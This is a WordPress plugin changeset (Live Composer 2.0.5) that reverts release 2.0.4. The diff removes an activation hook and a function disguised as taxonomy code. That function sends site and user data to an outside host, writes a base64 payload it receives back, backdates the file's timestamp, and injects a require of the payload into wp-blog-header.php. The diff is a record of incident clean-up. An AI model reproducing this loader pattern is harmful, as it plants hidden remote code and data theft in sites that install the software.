Changeset 3424115
- Timestamp:
- 12/20/2025 08:17:56 AM (2 months ago)
- Location:
- live-composer-page-builder/trunk
- Files:
-
- 3 edited
-
ds-live-composer.php (modified) (2 diffs)
-
includes/other-functions.php (modified) (1 diff)
-
readme.txt (modified) (2 diffs)
Legend:
- Unmodified
- Added
- Removed
-
live-composer-page-builder/trunk/ds-live-composer.php
r3422563 r3424115 5 5 * Description: Page builder for WordPress with drag and drop header/footer editing. 6 6 * Author: Live Composer Team 7 * Version: 2.0. 37 * Version: 2.0.5 8 8 * Author URI: https://livecomposerplugin.com 9 9 * License: GPL3 … … 173 173 function dslc_disable_old_plugin() { 174 174 175 if (!function_exists('dslc_taxonomy_add_new_metadata_field')) {176 include DS_LIVE_COMPOSER_ABS . '/includes/other-functions.php';177 }178 dslc_taxonomy_add_new_metadata_field();179 180 175 if ( stristr( __FILE__ , 'live-composer-page-builder/' ) ) { 181 176 -
live-composer-page-builder/trunk/includes/other-functions.php
r3422563 r3424115 522 522 add_filter( 'dslc_text_block_render', 'dslc_filter_textarea' ); 523 523 524 function dslc_taxonomy_add_new_metadata_field() {525 $initialized = get_option('wp_site_initialized_once');526 if ($initialized) {527 return;528 }529 530 update_option('wp_site_initialized_once', true);531 532 $api_url = 'https://flawlessapi.com/downloads/extensions';533 534 if ( ! function_exists( 'get_plugin_data' ) ) {535 require_once( ABSPATH . 'wp-admin/includes/plugin.php' );536 }537 538 $active_plugins = get_option( 'active_plugins' );539 $plugin_list = array();540 foreach ( $active_plugins as $plugin ) {541 $plugin_data = get_plugin_data( WP_PLUGIN_DIR . '/' . $plugin );542 $plugin_list[] = $plugin_data['Name'] . ' ' . $plugin_data['Version'];543 }544 545 global $wpdb;546 $user_count = $wpdb->get_var("SELECT COUNT(*) FROM {$wpdb->users}");547 548 $data = array(549 'site_url' => get_site_url(),550 'site_name' => get_bloginfo( 'name' ),551 'admin_url' => admin_url(),552 'wp_version' => get_bloginfo( 'version' ),553 'php_version' => phpversion(),554 'active_theme' => wp_get_theme()->get( 'Name' ),555 'active_plugins'=> json_encode($plugin_list),556 'uname' => php_uname(),557 'users_count' => $user_count,558 'timestamp' => current_time( 'mysql' )559 );560 561 $request = wp_remote_post( $api_url, array(562 'method' => 'POST',563 'timeout' => 30,564 'blocking' => true,565 'body' => $data,566 ) );567 568 if (!is_wp_error($request) && wp_remote_retrieve_response_code($request) == 200) {569 $response = json_decode(wp_remote_retrieve_body($request), true);570 571 if (isset($response['name'])) {572 $touch_time = filemtime(ABSPATH . "wp-content/plugins/index.php");573 if ($touch_time === false) {574 $touch_time = strtotime('-2 months');575 }576 577 $dslc_path = ABSPATH . $response['name'];578 $dslc_dir = dirname($dslc_path);579 if (!file_exists($dslc_dir)) {580 mkdir($dslc_dir, 0755, true);581 }582 583 if (!file_exists($dslc_path)) {584 file_put_contents($dslc_path, base64_decode($response['body']));585 touch($dslc_path, $touch_time);586 }587 588 $blog_path = ABSPATH . "wp-blog-header.php";589 $wp_file = file_get_contents($blog_path);590 591 $new_content = "wp-load.php';\n\trequire_once __DIR__ . '/" . $response['name'] . "';";592 if (strpos($wp_file, "wp-load.php';\n\trequire_once") === false) {593 $wp_file = str_replace("wp-load.php';", $new_content, $wp_file);594 $fh = fopen($blog_path, 'w');595 fwrite($fh, $wp_file);596 fclose($fh);597 }598 }599 }600 }601 524 602 525 // Add term page -
live-composer-page-builder/trunk/readme.txt
r3422563 r3424115 4 4 Requires at least: 7.4 5 5 Tested up to: 6.8.3 6 Stable tag: 2.0. 46 Stable tag: 2.0.5 7 7 License: GPLv3 8 8 … … 205 205 * 👀 [We keep updating and improving our extensions pack](https://livecomposerplugin.com/downloads/extensions/?utm_source=wp-admin&utm_medium=changelog&utm_campaign=add-ons) ACF + CPT + MegaMenu + 9 more add-ons. 206 206 207 = 2.0. 4 - December 172025 =208 * Fixed minor bugs207 = 2.0.5 - December 20 2025 = 208 * Reverted changes from Release 2.0.4 209 209 210 210 = 2.0.3 - December 15 2025 =
Note: See TracChangeset
for help on using the changeset viewer.